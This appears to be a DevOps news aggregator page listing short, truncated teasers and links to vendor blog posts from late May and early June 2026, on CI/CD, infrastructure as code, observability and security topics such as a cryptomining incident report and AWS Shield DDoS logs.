        <a href="#h3-agentic-coding-is-only-as-good-as-its-context" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agentic coding is only as good as its context
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agentic-coding-is-only-as-good-as-its-context"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every week, another coding agent demo shows a prompt turning into a pull request in under five minutes. These demos often highlight a narrow use case not yet in production, and they skip everything th</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/agentic-coding-only-as-good-as-context/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-best-continuous-deployment-tools-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-the-best-continuous-deployment-tools-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Best Continuous Deployment Tools in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-best-continuous-deployment-tools-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Continuous Deployment is not the same as CI/CD. An honest ranking of the platforms that handle the deploy half: rollouts, traffic shifting, rollback, environment promotion.</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 Railway Blog</strong></p>
<p><a href="https://blog.railway.com/p/best-continuous-deployment-tools-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-full-security-scanner-coverage-of-your-codebase-in-minutes" class="group relative scroll-mt-24">
        <a href="#h3-full-security-scanner-coverage-of-your-codebase-in-minutes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Full security scanner coverage of your codebase in minutes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-full-security-scanner-coverage-of-your-codebase-in-minutes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Across the industry, every CI/CD platform faces the same challenge: As organizations grow, manually configuring scanners to run across every pipeline definition file isn&#39;t scalable. AI is accelerating</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/security-configuration-profiles/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-for-beginners-getting-started-with-git-and-github-in-vs-code" class="group relative scroll-mt-24">
        <a href="#h3-github-for-beginners-getting-started-with-git-and-github-in-vs-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub for Beginners: Getting started with Git and GitHub in VS Code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-for-beginners-getting-started-with-git-and-github-in-vs-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how to use VS Code to interact with GitHub and maintain your projects. The post GitHub for Beginners: Getting started with Git and GitHub in VS Code appeared first on The GitHub Blog.</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/developer-skills/github/github-for-beginners-getting-started-with-git-and-github-in-vs-code/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-stop-managing-start-orchestrating-streamlining-catalyst-operations-with-red-hat-ansible-automation-platform" class="group relative scroll-mt-24">
        <a href="#h3-stop-managing-start-orchestrating-streamlining-catalyst-operations-with-red-hat-ansible-automation-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Stop managing, start orchestrating: Streamlining catalyst operations with Red Hat Ansible Automation Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-stop-managing-start-orchestrating-streamlining-catalyst-operations-with-red-hat-ansible-automation-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modern enterprise networks demand speed, consistency, and absolute resilience. Relying on manual, time-consuming network management tasks is no longer a viable strategy for organizations seeking true </p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/stop-managing-start-orchestrating-streamlining-catalyst-operations-red-hat-ansible-automation-platform"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-connect-customer-now-supports-scheduling-tasks-up-to-90-days-in-advance" class="group relative scroll-mt-24">
        <a href="#h3-amazon-connect-customer-now-supports-scheduling-tasks-up-to-90-days-in-advance" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Connect Customer now supports scheduling tasks up to 90 days in advance
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-connect-customer-now-supports-scheduling-tasks-up-to-90-days-in-advance"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Connect Customer now supports scheduling tasks up to 90 days in advance, helping organizations plan, route, and track long-running follow-up work. For example, an insurance team managing an aut</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-connect-customer-tasks-90day-schedule"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-generating-a-pulumi-provider-from-an-openapi-spec" class="group relative scroll-mt-24">
        <a href="#h3-generating-a-pulumi-provider-from-an-openapi-spec" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Generating a Pulumi Provider from an OpenAPI Spec
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-generating-a-pulumi-provider-from-an-openapi-spec"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, we are announcing v1.0 of the Pulumi Service Provider: a major milestone in managing Pulumi Cloud with Pulumi itself. The provider is now generated directly from the Pulumi Cloud OpenAPI specif</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/generating-a-pulumi-provider-from-an-openapi-spec/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-stop-tuning-prompts-build-a-harness" class="group relative scroll-mt-24">
        <a href="#h3-stop-tuning-prompts-build-a-harness" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Stop Tuning Prompts. Build a Harness.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-stop-tuning-prompts-build-a-harness"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic shipped a piece earlier this month called How Claude Code Works in Large Codebases. I have not read anything more useful about coding agents this year. The core claim, in their words: “the e</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/stop-tuning-prompts-build-a-harness/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-mlops-lifecycle-stages-workflow-and-best-practices" class="group relative scroll-mt-24">
        <a href="#h3-mlops-lifecycle-stages-workflow-and-best-practices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 MLOps Lifecycle: Stages, Workflow, and Best Practices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mlops-lifecycle-stages-workflow-and-best-practices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Understand the MLOps lifecycle from data preparation to monitoring.</p>
<p><strong>📅 May 30, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/mlops-lifecycle/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ses-now-offers-inbox-placement-metrics-and-blocklist-monitoring" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ses-now-offers-inbox-placement-metrics-and-blocklist-monitoring" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon SES now offers inbox placement metrics and blocklist monitoring
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ses-now-offers-inbox-placement-metrics-and-blocklist-monitoring"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, Amazon Simple Email Service (SES) launched a new set of deliverability features that help customers get more information about their outbound sending deliverability performance and reputation. </p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-ses-global-deliverability/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-trento-version-31" class="group relative scroll-mt-24">
        <a href="#h3-announcing-trento-version-31" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing Trento Version 3.1
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-trento-version-31"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Trento 3.1 continues the road started with Trento 3.0 around automation and AI capabilities. It also strengthens the application core and brings important observability improvements. Timezone Awarenes</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/announcing-trento-version-3-1/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-feature-flag-tools-compared-10-platforms-for-safer-releases" class="group relative scroll-mt-24">
        <a href="#h3-feature-flag-tools-compared-10-platforms-for-safer-releases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Feature Flag Tools Compared: 10 Platforms for Safer Releases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-feature-flag-tools-compared-10-platforms-for-safer-releases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Compare 10 feature flag tools across rollout controls, experimentation, governance, self-hosting, and observability. Find the best platform for startups, enterprises, and data-driven teams. | Blog</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/feature-flag-tools-compared-10-best-platforms-for-safer-releases"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-we-cut-build-times-by-two-thirds-by-deleting-our-cms" class="group relative scroll-mt-24">
        <a href="#h3-how-we-cut-build-times-by-two-thirds-by-deleting-our-cms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How we cut build times by two-thirds by deleting our CMS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-we-cut-build-times-by-two-thirds-by-deleting-our-cms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sentry replaced its CMS with Astro, Markdown, and Claude Code skills — cutting build times from 14 to under 4 minutes and eliminating API failures.</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/cut-build-times-delete-cms/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-you-dont-need-to-pick-one-how-sentry-and-opentelemetry-work-together" class="group relative scroll-mt-24">
        <a href="#h3-you-dont-need-to-pick-one-how-sentry-and-opentelemetry-work-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 You don’t need to pick one: how Sentry and OpenTelemetry work together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-you-dont-need-to-pick-one-how-sentry-and-opentelemetry-work-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Use Sentry on the frontend, keep OpenTelemetry on the backend, and choose direct OTLP or Collector forwarding for OTLP events.</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/sentry-opentelemetry-work-together/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-agent-cant-fix-what-it-cant-see" class="group relative scroll-mt-24">
        <a href="#h3-your-agent-cant-fix-what-it-cant-see" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your agent can't fix what it can't see
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-agent-cant-fix-what-it-cant-see"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agents can&#39;t fix bugs they can&#39;t see. Learn how Sentry MCP and CLI give coding agents the production context to diagnose and fix issues automatically.</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/agents-need-production-context/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-can-a-high-performance-culture-also-prioritize-wellbeing" class="group relative scroll-mt-24">
        <a href="#h3-can-a-high-performance-culture-also-prioritize-wellbeing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Can a High-Performance Culture Also Prioritize Wellbeing?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-can-a-high-performance-culture-also-prioritize-wellbeing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how New Relic balances a high-performance culture with mental health and wellbeing through community, compassion, and continuous support.</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/can-a-high-performance-culture-also-prioritize-wellbeing"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-code-security-catches-vulnerabilities-while-you-write-code" class="group relative scroll-mt-24">
        <a href="#h3-claude-code-security-catches-vulnerabilities-while-you-write-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Code Security Catches Vulnerabilities While You Write Code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-code-security-catches-vulnerabilities-while-you-write-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Claude Code Security uses AI reasoning to catch complex vulnerabilities in code — including logic flaws that traditional static analysis tools consistently miss.</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/claude-code-security-catches-vulnerabilities-while-you-write-code/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-shield-advanced-introduces-ddos-attack-flow-logs" class="group relative scroll-mt-24">
        <a href="#h3-aws-shield-advanced-introduces-ddos-attack-flow-logs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Shield Advanced introduces DDoS attack flow logs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-shield-advanced-introduces-ddos-attack-flow-logs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Shield Advanced announces distributed denial-of-service (DDoS) attack flow logs, giving you packet-level visibility into traffic hitting Shield Advanced protected resources during a DDoS attack. T</p>
